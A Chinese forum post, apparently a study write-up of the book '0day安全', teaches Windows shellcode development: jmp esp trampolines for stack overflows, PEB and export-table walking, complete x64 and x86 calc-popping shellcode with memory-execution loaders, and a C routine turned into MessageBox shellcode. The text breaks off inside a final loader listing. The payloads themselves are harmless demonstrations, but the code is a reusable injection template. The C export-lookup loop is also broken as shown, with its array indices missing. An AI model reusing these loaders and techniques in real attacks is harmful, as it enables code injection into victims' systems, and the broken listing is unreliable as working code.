安全矩阵

 找回密码
 立即注册
搜索
查看: 637|回复: 0

通用shellcode开发原理与实践

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2023-4-27 23:26:48 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2023-4-27 23:28 编辑

通用shellcode开发原理与实践
学习来源:0day安全一书
概述
shellcode即一段植入进程的代码。
定位shellcode
在实际漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧很有可能会产生”位移“,即shellcode在内存中的地址是动态变化的。因此我们需要找到一个跳板,使得程序的执行流程总是能找到我们的shellcode。
jmp esp
在上一节中verify_password函数返回后栈中的情况如下所示:
  • 实线体现了代码植入的流程:将返回地址淹没为我们手工查出的shellcode起始地址 0x0012FAF0,函数返回时,这个地址被弹入EIP寄存器中,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令执行。
  • 虚线则点出了这样一个细节:在函数返回时候,ESP恰好只想栈帧中返回地址的后一个位置。
图一 栈帧位移示意图


图二 溢出发生时栈、寄存器与代码之间的关系



一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置,如图三。

图三 使用"跳板"的溢出利用流程



由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们就可以使用图三所示的这种定位shellcode的方法来进行动态定位。
  • 用内存中的任意一个jmp esp指令的地址覆盖函数的返回地址,而不是用原来的手工查询出的shellcode起始地址直接覆盖。
  • 函数返回地址被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode。
  • 由于ESP在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。
  • 重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样,jmp esp指令执行过后会恰好跳进shellcode。
这种定位shellcode的方法使用进程空间里的一条 jmp esp指令作为"跳板",无论栈帧怎么"位移",都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。

当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式
开发通用shellcode环境
1
2
操作系统: Windows 10 x64
编译器:   vs 2019

定位shellcode使用API的原理
通过手工查出来的API地址会在其他计算机上失效,在shellcode中使用静态函数地址来调用API会使exploit的额通用性收到很大的限制,所以,实际中使用的shellcode必须还要能动态地获得自身所需的API的函数地址。

Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。Win32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。

几乎所有Win32程序都会加载ntdll.dll和kernel32.dll这两个基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址,可以采取如下办法。

64位系统
  • 首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。在GS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。
  • 线程环境块偏移位置为0x60的地方存放着指向进程环境块PEB的指针(即GS[0x30])。
  • 进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
  • PEB_LDR_DATA结构体偏移位置为0x20 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
  • 模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernelbase.dll,第三个节点才是kernel32.dll。
  • 找到属于kernel32.dll的结点后,在其基础上再偏移 0x20 就是 kernel32.dll在内存中的加载基地址。
  • 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
  • PE 头偏移 0x88 的地方存放着指向函数导出表的指针。
32位系统
  • 首先通过选择字FS在内存中找到当前存放着指向当前线程环境块TEB。在FS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。
  • 线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针(即FS[0x30])。
  • 进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
  • PEB_LDR_DATA结构体偏移位置为0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
  • 模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。
  • 找到属于kernel32.dll的结点后,在其基础上再偏移 0x08 就是 kernel32.dll在内存中的加载基地址。
  • 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
  • PE 头偏移 0x78 的地方存放着指向函数导出表的指针。
  • 至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址,如图四所示。
图四 在shellcode中动态定位API的原理

代码实现使用汇编生成shellcode
x64 弹出计算器shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/*
; Get kernel32.dll base address
xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEB
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller

apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address

; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax                    ; RSP = "calc.exe",0x0
mov rcx, rsp                ; RCX = "calc.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("calc.exe", SW_HIDE)


*/

#include <windows.h>
void main() {
  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  // Shellcode
  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";
  unsigned int payload_len = 205;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);
}

x86 弹出计算器shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
/*
start:                                   

   mov   ebp, esp                  ;     prologue
   add   esp, 0xfffff9f0           ;     Add space int ESP to avoid clobbering


find_kernel32:                     
   xor   ecx, ecx                  ;     ECX = 0
   mov   esi,fs:[ecx+0x30]         ;     ESI = &(PEB) ([FS:0x30])
   mov   esi,[esi+0x0C]            ;     ESI = PEB->Ldr
   mov   esi,[esi+0x1C]            ;     ESI = PEB->Ldr.InInitOrder

next_module:                        
   mov   ebx, [esi+0x08]           ;     EBX = InInitOrder[X].base_address
   mov   edi, [esi+0x20]           ;     EDI = InInitOrder[X].module_name
   mov   esi, [esi]                ;     ESI = InInitOrder[X].flink (next)
   cmp   [edi+12*2], cx            ;    (unicode) modulename[12] == 0x00 ?
   jne   next_module               ;     No: try next module

find_function_shorten:              
   jmp find_function_shorten_bnc   ;     Short jump

find_function_ret:                  
   pop esi                         ;     POP the return address from the stack
   mov   [ebp+0x04], esi           ;     Save find_function address for later usage
   jmp resolve_symbols_kernel32    ;

find_function_shorten_bnc:            
   call find_function_ret          ;     Relative CALL with negative offset

find_function:                     
   pushad                          ;     Save all registers

   mov   eax, [ebx+0x3c]           ;     Offset to PE Signature
   mov   edi, [ebx+eax+0x78]       ;     Export Table Directory RVA
   add   edi, ebx                  ;     Export Table Directory VMA
   mov   ecx, [edi+0x18]           ;     NumberOfNames
   mov   eax, [edi+0x20]           ;     AddressOfNames RVA
   add   eax, ebx                  ;     AddressOfNames VMA
   mov   [ebp-4], eax              ;     Save AddressOfNames VMA for later

find_function_loop:                 
   jecxz find_function_finished    ;     Jump to the end if ECX is 0
   dec   ecx                       ;     Decrement our names counter
   mov   eax, [ebp-4]              ;     Restore AddressOfNames VMA
   mov   esi, [eax+ecx*4]          ;     Get the RVA of the symbol name
   add   esi, ebx                  ;     Set ESI to the VMA of the current symbol name

compute_hash:                       
   xor   eax, eax                  ;     NULL EAX
   cdq                             ;     NULL EDX
   cld                             ;     Clear direction

compute_hash_again:                 
   lodsb                           ;     Load the next byte from esi into al
   test  al, al                    ;     Check for NULL terminator
   jz    compute_hash_finished     ;     If the ZF is set, we've hit the NULL term
   ror   edx, 0x0d                 ;     Rotate edx 13 bits to the right
   add   edx, eax                  ;     Add the new byte to the accumulator
   jmp   compute_hash_again        ;     Next iteration

compute_hash_finished:            

find_function_compare:            
   cmp   edx, [esp+0x24]           ;     Compare the computed hash with the requested hash
   jnz   find_function_loop        ;     If it doesn't match go back to find_function_loop
   mov   edx, [edi+0x24]           ;     AddressOfNameOrdinals RVA
   add   edx, ebx                  ;     AddressOfNameOrdinals VMA
   mov   cx,  [edx+2*ecx]          ;     Extrapolate the function's ordinal
   mov   edx, [edi+0x1c]           ;     AddressOfFunctions RVA
   add   edx, ebx                  ;     AddressOfFunctions VMA
   mov   eax, [edx+4*ecx]          ;     Get the function RVA
   add   eax, ebx                  ;     Get the function VMA
   mov   [esp+0x1c], eax           ;     Overwrite stack version of eax from pushad

find_function_finished:            
   popad                           ;     Restore registers
   ret                             ;

resolve_symbols_kernel32:         
  push 0xe8afe98                  ;     WinExec hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x10], eax           ;     Save WinExec address for later usage
  push 0x78b5b983                 ;     TerminateProcess hash
  call dword ptr [ebp+0x04]       ;     Call find_function
  mov   [ebp+0x14], eax           ;     Save TerminateProcess address for later usage

create_calc_string:                 
  xor eax, eax                   ;      EAX = null
  push eax                       ;      Push null-terminated string
  push dword 0x6578652e               ;         
  push dword 0x636c6163          ;   
  push esp                       ;      ESP = &(lpCmdLine)
  pop  ebx                       ;      EBX save pointer to string

; UINT WinExec(
; LPCSTR lpCmdLine, -> EBX
; UINT   uCmdShow      -> EAX
; );

call_winexec:                       
    xor eax, eax                   ;    EAX = null
    push eax                       ;    uCmdShow
    push ebx                       ;    lpCmdLine
    call dword ptr [ebp+0x10]      ;    Call WinExec

; BOOL TerminateProcess(
; HANDLE hProcess,     -> 0xffffffff
; UINT   uExitCode     -> EAX
; );

terminate_process:                  
    xor eax, eax                   ;    EAX = null
    push eax                       ;    uExitCode
    push 0xffffffff                ;    hProcess
    call dword ptr [ebp+0x14]      ;    Call TerminateProcess


*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Our WinExec PopCalc shellcode

unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14";


unsigned int payload_len = 178;

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
  DWORD oldprotect = 0;

    // Allocate a memory buffer for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Copy payload to new buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
  printf("Shellcode Length:  %d\n", strlen(payload));
    getchar();

    // If all good, run the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

使用C生成shellcode
  • 使用vs创建一个空项目,这里以vs2019 x86 平台为例。
  • 右键项目属性。我们需要修改release版本中的一些信息。如下
  • 属性 -> C/C++ -> 代码生成 -> 安全检查->禁用安全检查 (/GS-)
  • 属性 -> 链接器 -> 清单文件-> 生成清单-> 否 (/MANIFEST:NO)
  • 属性 -> 链接器 -> 调试-> 生成调试信息-> 否
如下所示:



获取函数hash
通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。

注意:
1
这里所说的 hash 指的是 hash 算法,是一个运算过程。经过 hash 后得到的值将被称做摘要,即 digest,请注意。

这里提供一段简单的 "hash" 算法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <windows.h>
DWORD GetHash(const char* fun_name)
{
    DWORD digest = 0;
    while (*fun_name)
    {
        digest = ((digest << 25) | (digest >> 7)); //循环右移 7 位
        digest += *fun_name; //累加
        fun_name++;
    }
    return digest;
}
void main()
{
    DWORD hash;

    hash = GetHash("GetProcAddress");
    printf("result of hash is 0x%.8x\n", hash);
}

提取shellcode
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#pragma code_seg("shellcode")
#include <windows.h>
#pragma comment(linker,"/entry:main")

void main()
{
    //the pointer of kernel32.dll base address
    DWORD dwKernel32Addr = 0;
    _asm {
        push eax
        mov eax, dword ptr fs:[0x30]
        mov eax, [eax + 0x0C]
        mov eax,[eax + 0x1C]
        mov eax, [eax]
        mov eax, [eax + 0x08]
        mov dwKernel32Addr, eax
        pop eax
    }

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernel32Addr;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(dwKernel32Addr + pDosHeader->e_lfanew);

    PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;

    PIMAGE_EXPORT_DIRECTORY pExportFuncTable = (PIMAGE_EXPORT_DIRECTORY)(dwKernel32Addr + pDataDirectory->VirtualAddress);

    PDWORD pAddrOfFunc = (PDWORD)(pExportFuncTable->AddressOfFunctions + dwKernel32Addr);

    PDWORD pAddrOfFuncNames = (PDWORD)(pExportFuncTable->AddressOfNames + dwKernel32Addr);

    PWORD  pAddrOfOrdinals = (PWORD)(pExportFuncTable->AddressOfNameOrdinals + dwKernel32Addr);

    DWORD dwFuncGetProcAddress = 0;
    for (size_t i = 0; i < pExportFuncTable->NumberOfNames; i++)
    {
        PCHAR lpFuncName = (PCHAR)(pAddrOfFuncNames + dwKernel32Addr);
        DWORD digest = 0;
        while (*lpFuncName)
        {
            digest = ((digest << 25) | (digest >> 7));
            digest += *lpFuncName;
            lpFuncName++;
        }
        if (digest == 0xbbafdf85)//0xbbafdf85是经过自定义hash算法得到GetProcAddress函数的摘要
        {
            dwFuncGetProcAddress = pAddrOfFunc[pAddrOfOrdinals] + dwKernel32Addr;
            break;
        }
    }
    /*
    如果是弹窗弹窗,这里我们需要 : LoadLibraryExA、MessageBoxA、ExitProcess、user32.dll
    */

    /*
    定义函数指针GetProcAddress
    */
    typedef    FARPROC (WINAPI *funcGetProcAddress)(
                HMODULE hModule,
                LPCSTR lpProcName
            );

    funcGetProcAddress pfuncGetProcAddress = (funcGetProcAddress)dwFuncGetProcAddress;

    /*
    LoadLibraryExA 函数指针获取
    */
    typedef HMODULE (WINAPI *funcLoadLibraryExA)(
             LPCSTR lpLibFileName,
             HANDLE hFile,
             DWORD dwFlags
        );

    //如果采用字符串模式,其字符串会被放入数据段,使用的每次加载地址都不一样,
    char szLoadLibraryExA[] = { 'L','o','a','d','L','i','b','r','a','r','y','E','x','A','\0' };
    char szUser32[] = { 'u','s','e','r','3','2','.','d','l','l','\0' };
    char szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' };
    char szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s','\0' };

    funcLoadLibraryExA pfuncLoadLibraryExA = (funcLoadLibraryExA)(pfuncGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA));

    /*
    ExitProcess函数指针
    */
    typedef    VOID
    (WINAPI *funcExitProcess)(
            _In_ UINT uExitCode
            );

    funcExitProcess pfuncExitProcess = (funcExitProcess)(pfuncGetProcAddress((HMODULE)dwKernel32Addr, szExitProcess));

    /*
    * 加载user32.dll 和messagebox
    */

    typedef int    (WINAPI    *funcMessageBoxA)(
        _In_opt_ HWND hWnd,
        _In_opt_ LPCSTR lpText,
        _In_opt_ LPCSTR lpCaption,
        _In_ UINT uType);

    funcMessageBoxA pfuncMessageBoxA = (funcMessageBoxA)(pfuncGetProcAddress((HMODULE)(pfuncLoadLibraryExA(szUser32, NULL, NULL)), szMessageBoxA));

    char szContext[] = {'t','h','i','s',' ','i','s',' ','a',' ','t','e','s','t','\0' };
    char szTitle[] = { 't','e','s','t','\0' };

    pfuncMessageBoxA(NULL, szContext, szTitle, MB_OK);
    pfuncExitProcess(0);
}

编译成功之后,程序正常运行


将程序拖入OD,按F9进入程序模块,如图所示:



然后从第一行开始,下拉到空白区选中 右键 复制 二进制复制。然后再在010editor中粘贴自 从十六进制文本粘贴。如下图:



选中然后复制为c代码



这样就得到了我们的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned char hexData[351] = {
    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,
    0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,
    0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,
    0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,
    0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,
    0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,
    0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,
    0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,
    0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,
    0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,
    0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,
    0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,
    0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,
    0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,
    0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,
    0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,
    0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,
    0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,
    0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,
    0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,
    0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,
    0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,
    0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,
    0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,
    0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,
    0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,
    0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,
    0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,
    0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,
    0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,
    0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,
    0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,
    0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,
    0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,
    0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,
    0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,
    0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,
    0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,
    0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,
    0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,
    0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,
    0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,
    0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,
    0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};

在程序中运行我们的shellcode。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <windows.h>
unsigned char hexData[351] = {
    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,
    0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,
    0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,
    0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,
    0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,
